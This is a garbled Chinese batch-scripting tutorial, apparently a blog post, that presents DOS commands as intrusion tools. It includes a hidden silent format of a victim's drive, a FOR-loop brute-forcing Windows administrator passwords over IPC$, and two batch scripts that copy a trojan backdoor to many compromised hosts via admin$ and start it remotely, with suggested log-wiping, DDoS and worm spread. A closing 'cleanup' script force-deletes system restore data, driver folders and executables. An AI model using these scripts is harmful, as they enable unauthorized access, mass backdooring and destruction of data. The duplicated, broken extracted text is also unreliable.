admin 管理员组

文章数量: 1087136


2024年12月30日发(作者:power bi 培训)

命令

命令

打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,

echo 

命令将显示当前回

显设置。

显设置。

语法

语法

echo [{on|off}] [message] 

Sample

echo off / echo hello world 

在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用

> >> ^

)结合来实

)结合来实

现输入一些命令到特定格式的文件中

.

这将在以后的例子中体现出来。

这将在以后的例子中体现出来。

2.@ 

命令

命令

表示不显示

@

后面的命令,在入侵过程中

后面的命令,

在入侵过程中(例如使用批处理来格式化敌人的硬盘)

在入侵过程中

(例如使用批处理来格式化敌人的硬盘)自然不能

(例如使用批处理来格式化敌人的硬盘)

自然不能

让对方看到你使用的命令啦。

让对方看到你使用的命令啦。

Sample

@echo off 

@echo Now initializing the program,please wait a  

@format X: /q/u/autoset (format 

这个命令是不可以使用

/y

这个参数的,可喜的是微软留了个

autoset

这个参数给我们,效果和

/y

是一样的。

) 

命令

命令

指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。

指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。

语法:

goto label 

label

是参数,指定所要转向的批处理程序中的行。)

Sample

if {%1}=={} goto noparms 

if {%2}=={} goto noparms

(如果这里的

if

%1

%2

你不明白的话,先跳过去,后面会有详

细的解释。)

@Rem check parameters if null show usage 

:noparms 

echo Usage:  ServerIP PortNumber 

goto end 

标签的名字可以随便起,但是最好是有意义的字母啦,

标签的名字可以随便起,

但是最好是有意义的字母啦,字母前加个:

但是最好是有意义的字母啦,

字母前加个:用来表示这个字母是标

字母前加个:

用来表示这个字母是标

签,

goto

命令就是根据这个:来寻找下一步跳到到那里。

命令就是根据这个:

来寻找下一步跳到到那里。最好有一些说明这样你别人看起来

来寻找下一步跳到到那里。

最好有一些说明这样你别人看起来

才会理解你的意图啊。

才会理解你的意图啊。

命令

命令

注释命令,在

C

语言中相当与

/*--------*/,

它并不会被执行,只是起一个注释的作用,便于别

人阅读和你自己日后修改。

人阅读和你自己日后修改。

Rem Message 

Sample

@Rem Here is the description. 

命令

命令

运行

运行

Pause 

命令时,将显示下面的消息:

命令时,将显示下面的消息:

Press any key to continue . . . 

Sample

@echo off 

:begin 

copy a:*.* d

back 

echo Please put a new disk into driver A

pause 

goto begin 

在这个例子中,驱动器

在这个例子中,驱动器

A

中磁盘上的所有文件均复制到

d:back

中。显示的注释提示您将

另一张磁盘放入驱动器

另一张磁盘放入驱动器

A

时,

pause 

命令会使程序挂起,以便您更换磁盘,然后按任意键

继续处理。

继续处理。

命令

命令

call 

命令接受用作调从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。

用目标的标签。如果在脚本或批处理文件外使用

用目标的标签。如果在脚本或批处理文件外使用

Call

,它将不会在命令行起作用。

,它将不会在命令行起作用。

语法

语法

call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 

参数

参数

[Drive:}[Path] FileName 

指定要调用的批处理程序的位置和名称。

filename 

参数必须具有

参数必须具有

.bat 

.cmd 

扩展名。

扩展名。

命令

命令

调用外部程序,所有的

DOS

命令和命令行程序都可以由

start

命令来调用。

命令来调用。

入侵常用参数:

入侵常用参数:

MIN 

开始时窗口最小化

开始时窗口最小化

SEPARATE 

SEPARA

TE 

在分开的空间内开始

在分开的空间内开始

16 

Windows 

程序

程序

HIGH 

HIGH 

优先级类别开始应用程序

优先级类别开始应用程序

REALTIME 

REALTIME 

优先级类别开始应用程序

优先级类别开始应用程序

WAIT 

启动应用程序并等候它结束

启动应用程序并等候它结束

parameters 

这些为传送到命令

/

程序的参数

程序的参数

执行的应用程序是

执行的应用程序是

32-

GUI 

应用程序时,

不等应用程序终止就返回命令提

示。如果在命令脚本内执行,该新行为则不会发生。

示。如果在命令脚本内执行,该新行为则不会发生。

命令

命令

choice 

使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加

/c:

参数,

c:

后应写提示可输入的字符,之间无空格。它的返回码为

1234……

: choice /c:dme defrag,mem,end 

将显示

将显示

defrag,mem,end[D,M,E]? 

Sample

的内容如下

: 

@echo off 

choice /c:dme defrag,mem,end 

if errorlevel 3 goto defrag 

(应先判断数值最高的错误码)

(应先判断数值最高的错误码)

if errorlevel 2 goto mem 

if errotlevel 1 goto end 

:defrag 

c:dosdefrag 

goto end 

:mem 

mem 

goto end 

:end 

echo good bye 

此文件运行后,将显示 ,然后

此文件运行后,将显示

defrag,mem,end[D,M,E]? 

用户可选择

d m e 

,然后

if

语句将作出判

m

表示执行标号为

mem

的程序段,

e

表示执行标号断,

d

表示执行标号为

defrag

的程序段,

goto 

end

将程序跳到

end

标号处,然后程序将显示为

end

的程序段,每个程序段最后都以

goto end

good bye

,文件结束。

,文件结束。

命令

命令

if 

表示将判断是否符合规定的条件,从而决定执行不同的命令。

表示将判断是否符合规定的条件,从而决定执行不同的命令。

有三种格式

: 

1

if "

参数

" == "

字符串

" 

待执行的命令

待执行的命令

参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。

(

注意是两个等号)

if "%1"=="a" format a: 

if {%1}=={} goto noparms 

if {%2}=={} goto noparms 

2

if exist 

文件名

文件名

待执行的命令

待执行的命令

如果有指定的文件,则条件成立,运行命令,否则运行下一句。

如果有指定的文件,则条件成立,运行命令,否则运行下一句。

if exist  edit  

3

if errorlevel / if not errorlevel 

数字

数字

待执行的命令

待执行的命令

如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。

如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。

if errorlevel 2 goto x2 

DOS

程序运行时都会返回一个数字给

DOS

,称为错误码

errorlevel

或称返回码,常见的返回

或称返回码,

常见的返回

码为

0

1

命令

命令

for 

命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。

命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。

在批处理文件中使用

在批处理文件中使用

FOR 

命令时,指定变量请使用

命令时,指定变量请使用

%%variable 

for {%variable|%%variable} in (set) do command [ CommandLineOptions] 

%variable 

指定一个单一字母可替换的参数。

指定一个单一字母可替换的参数。

(set) 

指定一个或一组文件。可以使用通配符。

指定一个或一组文件。可以使用通配符。

command 

指定对每个文件执行的命令。

指定对每个文件执行的命令。

command-parameters 

为特定命令指定参数或命令行开关。

为特定命令指定参数或命令行开关。

在批处理文件中使用

在批处理文件中使用

FOR 

命令时,指定变量请使用

命令时,指定变量请使用

%%variable 

而不要用

而不要用

%variable

。变量名称是区分大小写的,所以

。变量名称是区分大小写的,所以

%i 

不同于

不同于

%I 

如果命令扩展名被启用,下列额外的

如果命令扩展名被启用,下列额外的

FOR 

命令格式会受到

命令格式会受到

支持

: 

FOR /D %variable IN (set) DO command [command-parameters] 

如果集中包含通配符,则指定与目录名匹配,而不与文件

如果集中包含通配符,则指定与目录名匹配,而不与文件

名匹配。

名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command- 

检查以

检查以

[drive:]path 

为根的目录树,指向每个目录中的

为根的目录树,指向每个目录中的

FOR 

语句。如果在

语句。如果在

/R 

后没有指定目录,则使用当前

后没有指定目录,则使用当前

目录。如果集仅为一个单点

(.)

字符,则枚举该目录树。

字符,则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para 

该集表示以增量形式从开始到结束的一个数字序列。

该集表示以增量形式从开始到结束的一个数字序列。

因此,

(1,1,5) 

将产生序列 ,

(5,-1,1) 

将产生

将产生序列

1 2 3 4 5

将产生

序列 。

序列

(5 4 3 2 1)

FOR /F ["options"] %variable IN (file-set) DO command 

FOR /F ["options"] %variable IN ("string") DO command 

FOR /F ["options"] %variable IN (command) DO command 

或者,如果有

或者,如果有

usebackq 

选项

: 

FOR /F ["options"] %variable IN (file-set) DO command 

FOR /F ["options"] %variable IN ("string") DO command 

FOR /F ["options"] %variable IN (command) DO command 

filenameset 

为一个或多个文件名。继续到

为一个或多个文件名。继续到

filenameset 

中的

中的

下一个文件之前,每份文件都已被打开、读取并经过处理。

下一个文件之前,每份文件都已被打开、读取并经过处理。

处理包括读取文件,将其分成一行行的文字,然后将每行

处理包括读取文件,将其分成一行行的文字,然后将每行

解析成零或更多的符号。然后用已找到的符号字符串变量值

解析成零或更多的符号。然后用已找到的符号字符串变量值

调用

调用

For 

循环。以默认方式,

/F 

通过每个文件的每一行中分开

通过每个文件的每一行中分开

的第一个空白符号。跳过空白行。您可通过指定可选

的第一个空白符号。跳过空白行。您可通过指定可选

"options" 

参数替代默认解析操作。这个带引号的字符串包括一个或多个

参数替代默认解析操作。这个带引号的字符串包括一个或多个

指定不同解析选项的关键字。这些关键字为

: 

eol=c - 

指一个行注释字符的结尾

(

就一个

) 

skip=n - 

指在文件开始时忽略的行数。

指在文件开始时忽略的行数。

delims=xxx - 

指分隔符集。这个替换了空格和跳格键的

指分隔符集。这个替换了空格和跳格键的

默认分隔符集。

默认分隔符集。

tokens=x,y,m-n - 

指每行的哪一个符号被传递到每个迭代

指每行的哪一个符号被传递到每个迭代

for 

本身。这会导致额外变量名称的

本身。这会导致额外变量名称的

格式为一个范围。通过

格式为一个范围。通过

nth 

符号指定

符号指定

m 

符号字符串中的最后一个字符星号,

符号字符串中的最后一个字符星号,

那么额外的变量将在最后一个符号解析之

那么额外的变量将在最后一个符号解析之

分配并接受行的保留文本。

分配并接受行的保留文本。

usebackq - 

指定新语法已在下类情况中使用

: 

在作为命令执行一个后引号的字符串并且

在作为命令执行一个后引号的字符串并且

引号字符为文字字符串命令并允许在

引号字符为文字字符串命令并允许在

fi 

中使用双引号扩起文件名称。

中使用双引号扩起文件名称。

sample1: 

FOR /F "eol=; tokens=2,3* delims=, " %i in () do command 

会分析

会分析

中的每一行,忽略以分号打头的那些行,将

中的每一行,忽略以分号打头的那些行,将

每行中的第二个和第三个符号传递给

每行中的第二个和第三个符号传递给

for 

程序体;用逗号和

/

空格定界符号。请注意,这个

空格定界符号。请注意,这个

for 

程序体的语句引用

程序体的语句引用

%i 

取得第二个符号,引用

取得第二个符号,引用

%j 

来取得第三个符号,引用

来取得第三个符号,引用

%k 

来取得第三个符号后的所有剩余符号。对于带有空格的文件

来取得第三个符号后的所有剩余符号。对于带有空格的文件

名,您需要用双引号将文件名括起来。为了用这种方式来使

名,您需要用双引号将文件名括起来。为了用这种方式来使

用双引号,您还需要使用

用双引号,您还需要使用

usebackq 

选项,否则,双引号会

选项,否则,双引号会

被理解成是用作定义某个要分析的字符串的。

被理解成是用作定义某个要分析的字符串的。

%i 

专门在

专门在

for 

语句中得到说明,

%j 

%k 

是通过

是通过

tokens= 

选项专门得到说明的。您可以通过

选项专门得到说明的。您可以通过

tokens= 

一行

一行

指定最多

指定最多

26 

个符号,只要不试图说明一个高于字母

个符号,只要不试图说明一个高于字母

z 

Z 

的变量。请记住,

FOR 

变量是单一字母、分大小写和全局的;

变量是单一字母、分大小写和全局的;

同时不能有

同时不能有

52 

个以上都在使用中。

个以上都在使用中。

您还可以在相邻字符串上使用

您还可以在相邻字符串上使用

FOR /F 

分析逻辑;方法是,

分析逻辑;方法是,

用单引号将括号之间的

用单引号将括号之间的

filenameset 

括起来。这样,该字符

括起来。这样,该字符

串会被当作一个文件中的一个单一输入行。

串会被当作一个文件中的一个单一输入行。

最后,您可以用

最后,您可以用

FOR /F 

命令来分析命令的输出。方法是,将

命令来分析命令的输出。方法是,将

括号之间的

括号之间的

filenameset 

变成一个反括字符串。该字符串会

变成一个反括字符串。该字符串会

被当作命令行,传递到一个子

被当作命令行,传递到一个子

,其输出会被抓进

,其输出会被抓进

内存,并被当作文件分析。因此,以下例子

: 

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 

会枚举当前环境中的环境变量名称。

会枚举当前环境中的环境变量名称。

另外,

FOR 

变量参照的替换已被增强。您现在可以使用下列

变量参照的替换已被增强。您现在可以使用下列

选项语法

: 

~I - 

删除任何引号

(")

,扩充

,扩充

%I 

%~fI - 

%I 

扩充到一个完全合格的路径名

扩充到一个完全合格的路径名

%~dI - 

仅将

仅将

%I 

扩充到一个驱动器号

扩充到一个驱动器号

%~pI - 

仅将

仅将

%I 

扩充到一个路径

扩充到一个路径

%~nI - 

仅将

仅将

%I 

扩充到一个文件名

扩充到一个文件名

%~xI - 

仅将

仅将

%I 

扩充到一个文件扩展名

扩充到一个文件扩展名

%~sI - 

扩充的路径只含有短名

扩充的路径只含有短名

%~aI - 

%I 

扩充到文件的文件属性

扩充到文件的文件属性

%~tI - 

%I 

扩充到文件的日期

/

时间

时间

%~zI - 

%I 

扩充到文件的大小

扩充到文件的大小

%~$PATH:I - 

%~$PA

TH:I - 

查找列在路径环境变量的目录,并将

查找列在路径环境变量的目录,并将

%I 

扩充

扩充

到找到的第一个完全合格的名称。如果环境变量

到找到的第一个完全合格的名称。如果环境变量

未被定义,或者没有找到文件,此组合键会扩充

未被定义,或者没有找到文件,此组合键会扩充

空字符串

空字符串

可以组合修饰符来得到多重结果

: 

%~dpI - 

仅将

仅将

%I 

扩充到一个驱动器号和路径

扩充到一个驱动器号和路径

%~nxI - 

仅将

仅将

%I 

扩充到一个文件名和扩展名

扩充到一个文件名和扩展名

%~fsI - 

仅将

仅将

%I 

扩充到一个带有短名的完整路径名

扩充到一个带有短名的完整路径名

%~dp$PATH:i - 

%~dp$PA

TH:i - 

查找列在路径环境变量的目录,并将

查找列在路径环境变量的目录,并将

%I 

扩充

扩充

到找到的第一个驱动器号和路径。

到找到的第一个驱动器号和路径。

%~ftzaI - 

%I 

扩充到类似输出线路的

扩充到类似输出线路的

DIR 

A

TH 

可用其他有效数值代替。

%~ 

语法 在以上例子中,

%I 

PATH 

语法

用一个有效的

用一个有效的

FOR 

变量名终止。选取类似

变量名终止。选取类似

%I 

的大写变量名

的大写变量名

比较易读,而且避免与不分大小写的组合键混淆。

比较易读,而且避免与不分大小写的组合键混淆。

以上是

MS

的官方帮助,下面我们举几个例子来具体说明一下

For

命令在入侵中的用途。

命令在入侵中的用途。

sample2

利用

For

命令来实现对一台目标

Win2k

主机的暴力密码破解。

主机的暴力密码破解。

我们用

net use ipipc$ "password" /u:"administrator"

来尝试这和目标主机进行连接,当成功时

记下密码。

记下密码。

最主要的命令是一条:

for /f i% in () do net use ipipc$ "i%" /u:"administrator" 

i%

来表示

admin

的密码,在

中这个取

i%

的值用

net use 

命令来连接。然后将程序

运行结果传递给

find

命令--

命令--

for /f 

for 

/f i%% 

/f 

i%% in 

i%% 

in () 

in 

() do 

() 

do net 

do 

net use 

net 

use ipipc$ "i%%" 

ipipc$ 

"i%%" /u:"administrator"|find 

"i%%" 

/u:"administrator"|find ":

/u:"administrator"|find 

":

命令成功完成

">>D: 

,这样就

ko

了。

了。

sample3

你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心

的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。

那么如何实现呢?呵呵,看下去你就会明白了。

那么如何实现呢?呵呵,看下去你就会明白了。

主要命令也只有一条:(在批处理文件中使用

(在批处理文件中使用

FOR 

命令时,指定变量使用

命令时,指定变量使用

%%variable

@for /f "tokens=1,2,3 delims= " %%i in () do start call  %%i %%j %%k 

tokens

的用法请参见上面的

sample1

,在这里它表示按顺序将

中的内容传递给

中的参数

%i %j %k

net 

use

命令来建立

IPC$

连接,并

copy

木马+后门到

victim

,然而

无非就是用

net use

后用返回码(

If errorlever =

)来筛选成功种植后门的主机,并

)来筛选成功种植后门的主机,并

echo

出来,或者

echo

到指定

的文件。

的文件。

delims= 

表示

中的内容是一空格来分隔的。我想看到这里你也一定明白这

里的内容是什么样的了。应该根据

%%i %%j %%k

表示的对象来排列,一般就是

一般就是

ip password 

username

代码雏形:

代码雏形:

--------------- cut here then save as a batchfile(I call it  ) -------------------- 

@echo off 

@if "%1"=="" goto usage 

@for /f "tokens=1,2,3 delims= " %%i in () do start call  %%i %%j %%k 

@goto end 

:usage 

@echo run this batch in dos  just double-click it. 

:end 

--------------- cut here then save as a batchfile(I call it  ) -------------------- 

------------------- cut here then save as a batchfile(I call it ) ----------------- 

@net use %1ipc$ %3 /u:"%2" 

@if errorlevel 1 goto failed 

@echo Trying to establish the IPC$ connection …………OK

@copy %1admin$system32 

@copy 

%1admin$system32 && 

%1admin$system32 

&& if 

&& 

if not 

if 

not errorlevel 

not 

errorlevel 1 

errorlevel 

1 echo 

1 

echo IP 

echo 

IP %1 

IP 

%1 USER 

%1 

USER %2 

USER 

%2 

PWD %3 >> 

@p***ec %1 c: 

@p***ec %1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >> 

:failed 

@echo Sorry can not connected to the victim. 

----------------- cut here then save as a batchfile(I call it ) ------------------- 

,

这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(

需放在统一目录下

.

批处理内容

批处理内容

尚可扩展

,

例如

:

加入清除日志

+DDOS

的功能

,

加入定时添加用户的功能

,

更深入一点可以使之

具备自动传播功能

(

蠕虫

).

此处不多做叙述

,

有兴趣的朋友可自行研究

. 

会了这些,你就可以写一个很简单的清理系统垃圾的命令

会了这些,你就可以写一个很简单的清理系统垃圾的命令

附上我的加强版的清理系统垃圾文件的命令。。。。。。。。。。

@echo off 

color 2e 

Title 

◆快速清理系统垃圾文件◆

◆快速清理系统垃圾文件◆

echo. 

ECHO 

正在检查

cookies

、历史记录等目录位置

(

当前用户

)...... 

reg query "HKCUsoftwareMicrosoftWindowsCurrentVersionExplorerShell 

"HKCUsoftwareMicrosoftWindowsCurrentV

ersionExplorerShell Folders" /v 

Cache>%temp% 

reg query "HKCUsoftwareMicrosoftWindowsCurrentVersionExplorerShell 

"HKCUsoftwareMicrosoftWindowsCurrentV

ersionExplorerShell Folders" /v 

Cookies>>%temp% 

reg query "HKCUsoftwareMicrosoftWindowsCurrentVersionExplorerShell 

"HKCUsoftwareMicrosoftWindowsCurrentV

ersionExplorerShell Folders" /v 

History>>%temp% 

reg query "HKCUsoftwareMicrosoftWindowsCurrentVersionExplorerShell 

"HKCUsoftwareMicrosoftWindowsCurrentV

ersionExplorerShell Folders" /v 

NetHood>>%temp% 

reg query "HKCUsoftwareMicrosoftWindowsCurrentVersionExplorerShell 

"HKCUsoftwareMicrosoftWindowsCurrentV

ersionExplorerShell Folders" /v 

Recent>>%temp% 

ECHO 

正在清理

Cookies

IE

缓存、历史记录等

(

当前用户

)...... 

for /f "tokens=3*" %%a in (%temp%) do ( 

for /d %%i in ("%%a %%b*.*") do rd /s /q "%%i" >nul 2>nul 

del /a /f /s /q "%%a %%b*.*" >nul 2>nul 

) 

:: 

清理运行栏中的历史纪录,在注销或者重启后将生效

...... 

reg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU" /va /f 

ECHO 

正在清理系统升级补丁留下来的反安装目录和备份文件

...... 

rd /s /q "%windir%$hf_mig$" >nul 2>nul 

dir "%SystemRoot%$*$" /ad/b >%SystemRoot% 

for /f 

for 

/f %%a 

/f 

%%a in 

%%a 

in (%SystemRoot%) 

in 

(%SystemRoot%) do 

(%SystemRoot%) 

do rd 

do 

rd /s 

rd 

/s /q 

/s 

/q "%SystemRoot%%%a" 

/q 

"%SystemRoot%%%a" >nul 

"%SystemRoot%%%a" 

>nul 

2>nul 

dir "%SystemRoot%SoftwareDistributionDownload*" 

/ad/b >%SystemRoot% 

for /f %%a in (%SystemRoot%) do ( 

rd /s /q "%SystemRoot%SoftwareDistributionDownload%%a" >nul 2>nul 

del /a /f /s /q "%SystemRoot%SoftwareDistributionDownload*" >nul 2>nul 

) 

taskkill /f /im "" /t 

del /a /f /s /q "%SystemRoot%" >nul 2>nul 

ECHO 

正在清理系统临时文件和系统目录中的垃圾文件

........ 

del /a /f /s /q "%userprofile%Locals~1Tempor~1*" >nul 2>nul 

dir "%userprofile%Locals~1Temp*" /ad/b >%SystemRoot% 

for /f %%a in (%SystemRoot%) do rd 

"%userprofile%Locals~1Temp%%a" >nul 2>nul 

del /a /f /s /q "%userprofile%Locals~1Temp*" >nul 2>nul 

del /f /s /q "%userprofile%Local SettingsTemp*.*" 

del /a /f /s /q "%userprofile%recent*" >nul 2>nul 

/s /q 

del /a /f /s /q "%userprofile%cookies*" >nul 2>nul 

del /a /f /s /q "%HomePath%.." >nul 2>nul 

del /a /f /s /q "%windir%temp*" >nul 2>nul 

del /a /f /s /q "%windir%prefetch*" >nul 2>nul 

del /a /f /s /q "%SystemRoot%*.log" >nul 2>nul 

del /a /f /q "%SystemRoot%*.tmp" >nul 2>nul 

ECHO 

正在清理

Realplayer

垃圾项

...... 

del /a /f /s /q "%appdata%RealRealPlayerHistory*" >nul 2>nul 

if not exist %SystemRoot%MinidumpNUL del /f /q /s %SystemRoot%Minidump*.*>nul 2>nul 

del /f /s /q %systemdrive%*._mp 

del /f /s /q %systemdrive%*.gid 

del /f /s /q %systemdrive%*.chk 

del /f /s /q %systemdrive%*.old 

del /f /s /q %systemdrive%recycled*.* 

del /f /s /q %windir%*.bak 

del /f /s /q %windir%prefetch*.* 

del /f /s /q %windir%Magicset*.reg 

del /f /s /q %windir%KB*.log 

rd /s /q %windir%drivers 

rd /s /q "%temp%" 

rd /s /q %windir%$hf_mig$ 

del /f /s /q "%userprofile%Local SettingsTemporary Internet Files*.*" 

attrib -s -h -r "C:Program FilesCommon " 

del /f /q "C:Program FilesCommon " 

attrib -s -h -r "C:Program FilesCommon FilesMicrosoft " 

del /f /q "C:Program FilesCommon FilesMicrosoft " 

attrib -s -h -r %windir% 

del /f /q %windir% 

attrib -s -h -r %windir% 

del /f /q %windir% 

attrib -s -h -r %windir% 

del /f /q %windir% 

del /f /s /q "%windir%system32THIRDA*.*" 

rd /s /q %windir%system32THIRDA 

rd /s /q C:found.000 

rd /s /q C:found.001 

rd /s /q C:found.002 

rd /s /q C:found.003 

rd /s /q C:found.004 

rd /s /q C:found.005 

rd /s /q C:found.006 

rd /s /q C:found.007 

rd /s /q C:found.008 

rd /s /q C:vod_cache_data 

rd /s /q D:found.000 

rd /s /q D:found.001 

rd /s /q D:found.002 

rd /s /q D:found.003 

rd /s /q D:found.004 

rd /s /q D:found.005 

rd /s /q D:found.006 

rd /s /q D:found.007 

rd /s /q D:vod_cache_data 

rd /s /q E:found.000 

rd /s /q E:found.001 

rd /s /q E:found.002 

rd /s /q E:found.003 

rd /s /q E:found.004 

rd /s /q E:found.005 

rd /s /q E:vod_cache_data 

rd /s /q F:found.000 

rd /s /q F:found.001 

rd /s /q F:found.002 

rd /s /q F:found.003 

rd /s /q F:found.004 

rd /s /q F:found.005 

rd /s /q F:vod_cache_data 

attrib -a -h -s -r C: 

attrib -a -h -s -r C: 

attrib -a -h -s -r C: 

attrib -a -h -s -r C: 

attrib -a -h -s -r C: 

del /f /q C: 

del /f /q C: 

del /f /q C: 

del /f /q C: 

del /f /q C: 

attrib -a -h -s -r D: 

attrib -a -h -s -r D: 

attrib -a -h -s -r D: 

attrib -a -h -s -r D: 

attrib -a -h -s -r D: 

del /f /q D: 

del /f /q D: 

del /f /q D: 

del /f /q D: 

del /f /q D: 

attrib -a -h -s -r E: 

attrib -a -h -s -r E: 

attrib -a -h -s -r E: 

attrib -a -h -s -r E: 

attrib -a -h -s -r E: 

del /f /q E: 

del /f /q E: 

del /f /q E: 

del /f /q E: 

del /f /q E: 

attrib -a -h -s -r F: 

attrib -a -h -s -r F: 

attrib -a -h -s -r F: 

attrib -a -h -s -r F: 

attrib -a -h -s -r F: 

del /f /q F: 

del /f /q F: 

del /f /q F: 

del /f /q F: 

del /f /q F: 

attrib -a -h -s -r C:progra~1*.exe 

del /f /q C:progra~1*.exe 

attrib -a -h -s -r C:progra~1*.inf 

del /f /q C:progra~1*.inf 

attrib -a -h -s -r C:progra~1Common~1*.exe 

del /f /q C:progra~1Common~1*.exe 

attrib -a -h -s -r C:progra~1Common~1system*.exe 

del /f /q C:progra~1Common~1system*.exe 

attrib -a -h -s -r "C:System Volume Information*.*" 

attrib -a -h -s -r "D:System Volume Information*.*" 

attrib -a -h -s -r "E:System Volume Information*.*" 

attrib -a -h -s -r "F:System Volume Information*.*" 

del /f /s /q "C:System Volume Information*.*" 

del /f /s /q "D:System Volume Information*.*" 

del /f /s /q "E:System Volume Information*.*" 

del /f /s /q "F:System Volume Information*.*" 

cls 

@echo . 

@echo 

………………垃圾文件清理

………………垃圾文件清理

已经完成!……………………

已经完成!……………………

@echo . 

……………………任意键退出!……………………

……………………任意键退出!……………………

@pause 

@exit 


本文标签: 命令 文件 指定